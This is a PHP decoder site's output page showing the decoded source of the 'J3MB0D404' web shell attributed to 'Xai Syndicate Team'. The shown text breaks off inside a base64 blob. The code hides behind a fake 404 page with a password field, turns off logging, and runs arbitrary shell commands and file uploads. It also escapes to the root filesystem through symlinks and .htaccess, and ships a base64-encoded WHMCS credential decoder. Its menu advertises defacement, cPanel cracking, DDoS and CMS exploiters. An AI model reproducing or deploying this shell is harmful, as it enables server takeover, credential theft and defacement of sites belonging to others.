Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //################################# //##asw ## //##asw ## //##asw ..
Decoded Output download
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
?>
<html>
<head>
<title>J3MB0D404 Shell By Xai Syndicate Team</title>
<meta name='author' content='Xai Syndicate Team'>
<meta charset="UTF-8">
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
@import url(http://fonts.googleapis.com/css?family=Iceberg);
@import url(http://fonts.googleapis.com/css?family=Iceand);
html {
font-weight:14px;
font-size:14px;
background:black;
color:#fff;
text-shadow:
0 0 3px #06DCFB,
0 0 5px #06DCFB,
0 0 9px #06DCFB,
0 0 20px #06DCFB,
0 0 25px #06DCFB,
0 0 30px #06DCFB,
0 0 50px #06DCFB;
font-family: 'Ubuntu';
width: 100%;
}
li {
display: inline;
margin: 1px;
padding: 1px;
}
table, th, td {
border-collapse:collapse;
font-family: Tahoma, Geneva, sans-serif;
background: transparent;
font-family: 'Ubuntu';
font-size: 13px;
}
.table_home, .th_home, .td_home{
font-weight:14px;
font-size:14px;
background:black;
color:#fff;
text-shadow:
0 0 3px #06DCFB,
0 0 5px #06DCFB,
0 0 9px #06DCFB,
0 0 20px #06DCFB,
0 0 25px #06DCFB,
0 0 30px #06DCFB,
0 0 50px #06DCFB;;
}
th {
padding: 10px;
}
a {
font-weight:14px;
font-size:14px;
background:transparent;
color:#fff;
text-shadow:
0 0 3px #F70000,
0 0 5px #F70000,
0 0 9px #F70000,
0 0 20px #F70000,
0 0 25px #F70000,
0 0 30px #F70000,
0 0 50px #F70000;
}
a:hover {
color: gold;
text-decoration: underline;
}
b {
color: gold;
}
input[type=text], input[type=password],input[type=submit] {
background: transparent;
color: #F70000;
border: 1px solid #F70000;
margin: 5px auto;
padding-left: 5px;
font-family: 'Ubuntu';
font-size: 13px;
}
#menu a {
font-family: Federant;
padding:4px 15px;
margin:0;
background:gray;
color:white;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover {
padding:4px 15px;
margin:0;
font-family: Federant;
background: grey;
color:white;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
textarea {
border: 1px solid #F70000;
width: 100%;
height: 400px;
padding-left: 5px;
margin: 10px auto;
resize: none;
background: transparent;
color: #F70000;
font-family: 'Ubuntu';
font-size: 13px;
}
hr {
border:0;
height:1px;
background-image:linear-gradient(to right,rgba(0,0,0,0),rgb(255, 0, 0),rgba(0,0,0,0))
}
J3MB0D404 {
font-weight:14px;
font-size:14px;
background:transparent;
color:#fff;
text-shadow:
0 0 3px #F70000,
0 0 5px #F70000,
0 0 9px #F70000,
0 0 20px #F70000,
0 0 25px #F70000,
0 0 30px #F70000,
0 0 50px #F70000;
}
body, a:hover
{cursor: url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur), progress;}
</style>
</head>
<?php
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
if(get_magic_quotes_gpc()) {
function idx_ss($array) {
return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
}
$_POST = idx_ss($_POST);
}
error_reporting(0);
error_log(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($_GET['dir']);
} else {
$dir = getcwd();
}
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<J3MB0D404>OFF</J3MB0D404>";
$ds = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "<J3MB0D404>ON</J3MB0D404>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<J3MB0D404>ON</J3MB0D404>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<J3MB0D404>ON</J3MB0D404>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<J3MB0D404>ON</J3MB0D404>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<J3MB0D404>ON</J3MB0D404>" : "<font color=red>OFF</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<J3MB0D404>NONE</J3MB0D404>";
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
echo "<img src=http://i.imgur.com/fW1hCGC.png width=157px height=157px align=left><br>";
echo "System: <J3MB0D404>".php_uname()."</J3MB0D404><br>";
echo "User: <J3MB0D404>".$user."</J3MB0D404> (".$uid.") Group: <J3MB0D404>".$group."</J3MB0D404> (".$gid.")<br>";
echo "Server IP: <J3MB0D404>".gethostbyname($_SERVER['HTTP_HOST'])."</J3MB0D404> | Your IP: <J3MB0D404>".$_SERVER['REMOTE_ADDR']."</J3MB0D404><br>";
echo "HDD: <J3MB0D404>".hdd(disk_free_space("/"))."</J3MB0D404> / <J3MB0D404>".hdd(disk_total_space("/"))."</J3MB0D404><br>";
echo "Safe Mode: $sm<br>";
echo "Disable Functions: $show_ds<br>";
echo "MySQL: $mysql</J3MB0D404> | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
echo "Current DIR: ";
foreach($scdir as $c_dir => $cdir) {
echo "<a href='?dir=";
for($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}
echo "<div id='menu'>";
echo "<hr>";
echo "<center>";
echo "<ul>";
echo "<li><a href='?'>Home</a></li>";
echo "<li><a href='?dir=$dir&do=upload'>Upload</a></li>";
echo "<li><a href='?dir=$dir&do=cmd'>Command</a></li>";
echo "<li><a href='?dir=$dir&do=mass_deface'>Mass Deface</a></li>";
echo "<li><a href='?dir=$dir&do=config'>Config</a></li>";
echo "<li><a href='?dir=$dir&do=jumping'>Jumping</a></li>";
echo "<li><a href='?dir=$dir&do=cpanel'>CPanel Crack</a></li>";
echo "<li><a href='?dir=$dir&do=smtp'>SMTP Grabber</a></li>";
echo "<li><a href='?dir=$dir&do=decode'>Decode/Encode</a></li>";
echo "<li><a href='?dir=$dir&do=vhost'>Bypass vHost</a></li><br>";
echo "<br><li><a href='?dir=$dir&do=cmstector'>CMS Detector</a></li>";
echo "<li><a href='?dir=$dir&do=ports'>Port Scanner</a></li>";
echo "<li><a href='?dir=$dir&do=symlink'>Symlink</a></li>";
echo "<li><a href='?dir=$dir&do=zoneh'>Zone-H</a></li>";
echo "<li><a href='?dir=$dir&do=defacerid'>Defacer.ID</a></li>";
echo "<li><a href='?dir=$dir&do=cgi'>CGI Telnet</a></li>";
echo "<li><a href='?dir=$dir&do=vb'>VB Index Changer</a></li>";
echo "<li><a href='?dir=$dir&do=whois'>Whois</a></li>";
echo "<li><a href='?dir=$dir&do=adminer'>Adminer</a></li>";
echo "<li><a href='?dir=$dir&do=dbdump'>Database Dump</a></li><br>";
echo "<br><li><a href='?dir=$dir&do=fake_root'>Fake Root</a></li>";
echo "<li><a href='?dir=$dir&do=loghunter'>Log Hunter</a></li>";
echo "<li><a href='?dir=$dir&do=shellchk'>Shell Checker</a></li>";
echo "<li><a href='?dir=$dir&do=configfuck'>Cofig Fucker</a></li>";
echo "<li><a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a></li>";
echo "<li><a href='?dir=$dir&do=network'>network</a></li>";
echo "<li><a href='?dir=$dir&do=grabber'>Config Grabber</a></li>";
echo "<li><a href='?dir=$dir&do=csrfup'>CSRF Exploiter</a></li>";
echo "<li><a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a><br></li>";
echo "<br><li><a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a></li>";
echo "<li><a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a></li>";
echo "<li><a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a></li>";
echo "<li><a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a></li>";
echo "<li><a href='?dir=$dir&do=bing'>Bing Grabber</a></li>";
echo "<li><a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a></li><br>";
echo "<br><li><a href='?dir=$dir&do=lokomedia'>Auto Exploiter Lokomedia</a></li>";
echo "<li><a href='?dir=$dir&do=auto_joomla'>Joomla Auto Edit User</a></li>";
echo "<li><a href='?dir=$dir&do=auto_wp'>WordPress Auto Edit User V.2</a></li>";
echo "<li><a href='?dir=$dir&do=whmcsex'>WHMCS Password Decoder</a></li>";
echo "<li><a href='?dir=$dir&do=hashid'>HashID</a></li>";
echo "<li><a href='?dir=$dir&do=twitterbf'>Bruteforce Twitter</a></li><br><br>";
echo "<li><a href='?dir=$dir&do=dorking'>Dorking Tools</a></li>";
echo "<li><a href='?dir=$dir&do=admfinder'>Admin Finder</a></li>";
echo "<li><a href='?dir=$dir&do=iplookup'>Iplookup</a></li>";
echo "<li><a href='?dir=$dir&do=presta'>Prestashop Exploiter</a></li>";
echo "<li><a href='?dir=$dir&do=magento'>Magento Exploiter</a></li>";
echo "<li><a href='?dir=$dir&do=ddosattack'>DDOS</a></li>";
echo "<li><a href='?dir=$dir&do=symlink2'>Symlink V.2</a></li>";
echo "<li><a href='?dir=$dir&do=sqli'>Sqli Scan</a></li>";
echo "<li><a href='?dir=$dir&do=hijack_wp'>Wp Auto Hijack</a></li><br><br>";
echo "<li><a href='?dir=$dir&do=joomscan'>Joomla Server Scanner</a></li>";
echo "<li><a href='?dir=$dir&do=contact'>Contact Me</a></li>";
echo "<li><a href='?dir=$dir&do=about'>About ME</a></li>";
echo "<li><a href='?dir=$dir&do=metu'>LogOut</a></li>";
echo "</ul>";
echo "</center>";
echo "<hr>";
echo "</div>";
if($_GET['do'] == 'upload') {
echo "<center>";
if($_POST['upload']) {
if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
$act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
} else {
$act = "<font color=red>failed to upload file</font>";
}
}
echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
echo $act;
echo "</center>";
} elseif($_GET['do'] == 'cmd') {
echo "<form method='post'>
<font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
</form>";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
} elseif($_GET['do'] == 'contact') {
echo "<center><br><font size='6'>--=[ Contact Me ]=--</font><br><br>
<table><td style='background-color: transparent;text-align:center;border: 2px lime dotted;width:300px;height:250px;'>
<font color='pink'>Email : [email protected] | <a href='https://www.facebook.com/jembudparanoit' target='_blank'>Facebook</a> | <br>Twitter : <a href=https://twitter.com/rintotea12>@rintotea12</a></font><br></tr></td></table></center>";
} elseif($_GET['do'] == 'vhost') {
echo "<form method='POST' action=''>";
echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
if (isset($_POST['Colii'])){ system('ln -s / Rintoar.txt');
$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","Rintoar.txt");
$rt="<br><a href=Rintoar.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
Bypassed Successfully</b></font></a>";
echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt</center>";} echo "</form>";
} elseif($_GET['do'] == 'whmcsex') {
echo "<form method='POST' action=''>";
echo "<center><br><font size='6'>WHMCS Password Decoder</font><br><br>";
echo "<center><input type='submit' value='Make File' name='Asoo'></center>";
if (isset($_POST['Asoo'])){ system('ln -s / whmcs-decoder.php');
$mrlolo ='PD9waHANCgkvKioNCg0KUmludG8gQVINCiANCiAqKi8NCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkNCnsNCg0KCSRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCgkkaGFzaF9rZXkgPSBfaGFzaCAoJGtleSk7DQoJJGhhc2hfbGVuZ3RoID0gc3RybGVuICgkaGFzaF9rZXkpOw0KCSRzdHJpbmcgPSBiYXNlNjRfZGVjb2RlICgkc3RyaW5nKTsNCgkkdG1wX2l2ID0gc3Vic3RyICgkc3RyaW5nLCAwLCAkaGFzaF9sZW5ndGgpOw0KCSRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3RybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7DQoJJGl2ID0gJG91dCA9ICcnOw0KCSRjID0gMDsNCgl3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpDQoJew0KCQkkaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOw0KCQkrKyRjOw0KCX0NCg0KCSRrZXkgPSAkaXY7DQoJJGMgPSAwOw0KCXdoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpDQoJew0KCQlpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQ0KCQl7DQoJCQkka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsNCgkJfQ0KDQoJCSRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsNCgkJKyskYzsNCgl9DQoNCglyZXR1cm4gJG91dDsNCn0NCg0KDQpmdW5jdGlvbiBfaGFzaCAoJHN0cmluZykNCnsNCglpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQ0KCXsNCgkJJGhhc2ggPSBzaGExICgkc3RyaW5nKTsNCgl9DQoJZWxzZQ0KCXsNCgkJJGhhc2ggPSBtZDUgKCRzdHJpbmcpOw0KCX0NCg0KCSRvdXQgPSAnJzsNCgkkYyA9IDA7DQoJd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpDQoJew0KCQkkb3V0IC49IGNociAoaGV4ZGVjICgkaGFzaFskY10gLiAkaGFzaFskYyArIDFdKSk7DQoJCSRjICs9IDI7DQoJfQ0KDQoJcmV0dXJuICRvdXQ7DQp9DQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMSApDQogew0KIC8vaW5jbHVkZSgkZmlsZSk7DQoNCiAkZmlsZT0oJF9QT1NUWydmaWxlJ10pOw0KJHRleHQ9ZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KDQokdGV4dD0gc3RyX3JlcGxhY2UoIjw/cGhwIiwgIiIsICR0ZXh0KTsNCiR0ZXh0PSBzdHJfcmVwbGFjZSgiPD8iLCAiIiwgJHRleHQpOw0KJHRleHQ9IHN0cl9yZXBsYWNlKCI/PiIsICIiLCAkdGV4dCk7DQoNCmV2YWwoJHRleHQpOw0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7DQoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7DQoNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQoNCmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7DQokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+QWN0aXZlPC90ZD48dGQ+JGFjdGl2ZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SG9zdG5hbWU8L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+VXNlcm5hbWU8L3RkPjx0ZD4kdXNlcm5hbWU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPiIpOw0KDQoNCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KDQp9DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48dGFibGUgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7DQoNCg0KDQoNCg0KfQ0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQoNCg0KDQogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQ0KIHsNCiAvL2luY2x1ZGUoJGZpbGUpOw0KDQogJGRiX2hvc3Q9KCRfUE9TVFsnZGJfaG9zdCddKTsNCiAkZGJfdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYl9uYW1lPSgkX1BPU1RbJ2RiX25hbWUnXSk7DQogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7DQoNCg0KDQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCg0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107DQokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsNCiR0eXBlID0gJHZbJ3R5cGUnXTsNCiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107DQokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsNCg0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+VHlwZTwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SXA8L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7DQoNCg0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQoNCn0NCg0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7DQoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJzIik7DQplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7DQplY2hvKCI8dHI+PHRkPlJlZ2lzdHJhcjwvdGQ+PHRkPlNldHRpbmc8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iKTsNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsNCiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsNCiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmlmICgkdmFsdWU9PSIiKSB7DQokdmFsdWU9MDsNCn0NCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+JHJlZ2lzdHJhcjwvdGQ+PHRkPiRzZXR0aW5nPC90ZD48dGQ+JHZhbHVlPC90ZD48L3RyPiIpOw0KDQoNCg0KDQoNCn0NCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOw0KfQ0KDQoNCg0KDQo/Pjxib2R5IGJnY29sb3I9IiMwMDAwMDAiPg0KIDxzdHlsZT4NCg0KICAgIGh0bWwsYm9keSB7DQoJYmFja2dyb3VuZCA6IGJsYWNrIHVybCgnaHR0cDovL29ubHltYXQuY29tLzEucG5nJykgcmVwZWF0Ow0KCS13ZWJraXQtYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCgktbW96LWJhY2tncm91bmQtc2l6ZTogY292ZXI7DQoJYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCgljb2xvcjojZmZjMDAwOw0KICAgIGZvbnQtc2l6ZToyNXB4Ow0KCWZvbnQtZmFtaWx5OkFnZW5jeSBGQjsNCgl0ZXh0LWRlY29yYXRpb246bm9uZTsgeyBTQ1JPTExCQVItQkFTRS1DT0xPUjogIzE5MTkxOTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBvbGl2ZTsgICBjb2xvcjogd2hpdGU7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30NCmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7aGVpZ2h0OjE3fQ0KPC9zdHlsZT4NCjxjZW50ZXI+DQo8Zm9udCBjb2xvcj0iI0ZGRkY2RkYiIHNpemU9JyszJz5bIH5+IFdITU